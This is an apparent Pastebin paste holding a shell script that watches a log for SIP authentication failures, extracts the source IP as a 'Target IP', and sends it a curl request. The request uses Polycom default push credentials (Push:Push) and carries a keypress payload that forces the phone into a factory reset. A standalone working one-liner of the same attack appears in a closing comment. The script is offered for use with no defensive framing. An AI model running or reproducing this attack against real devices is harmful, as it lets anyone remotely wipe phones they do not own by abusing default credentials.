Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2017
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.35 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3. tail -0f /var/log/somelogfile.log | while read line
  4. do
  5. if echo $line | grep "[WARNING]" | grep -q "SIP auth failure" ; then
  6.  
  7. # Log detected sip authentication error to file
  8. STR="$(echo $line | awk '{print "Date:",$1,"Time:",$2,"Login:",$14,"IP:",$17}')" >> logger.txt
  9.  
  10. # Get the found private IP address out of the errored line
  11. IP="$(echo $STR | rev | cut -d" " -f1 | rev)"
  12.  
  13. # Provide output to the user of the IP to brute
  14. echo "Target IP: " $IP
  15.  
  16. # Content Type header
  17. CT="Content-Type: application/x-com-polycom-spipx"
  18.  
  19. # The XHTML to send to the phone in question for forced factory reset
  20. XHTML="curl -v --digest -u Push:Push -d $'<PolycomIPPhone><Data priority="Critical">Key:SetupnKey:Dialpad2nKey:Dialpad9nKey:Dialpad9nKey:Dialpad9nKey:Softkey4nKey:Dialpad1nKey:Dialpad5nKey:Dialpad5</Data></PolycomIPPhone>' --header "$CT" $IP/push"
  21.  
  22. # print out URL for test
  23. echo $XHTML
  24. RESPONSE=`$XHTML`
  25. echo
  26. echo $RESPONSE
  27. fi
  28. done
  29.  
  30.  
  31. # This is an example of the fuctional code that works straight in the terminal.
  32. # curl --digest -u Push:Push -d $'<PolycomIPPhone><Data priority="Critical">Key:SetupnKey:Dialpad2nKey:Dialpad9nKey:Dialpad9nKey:Dialpad9nKey:Softkey4nKey:Dialpad1nKey:Dialpad5nKey:Dialpad5</Data></PolycomIPPhone>' --header "Content-Type: application/x-com-polycom-spipx" xx.xx.xx.xx/push && echo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement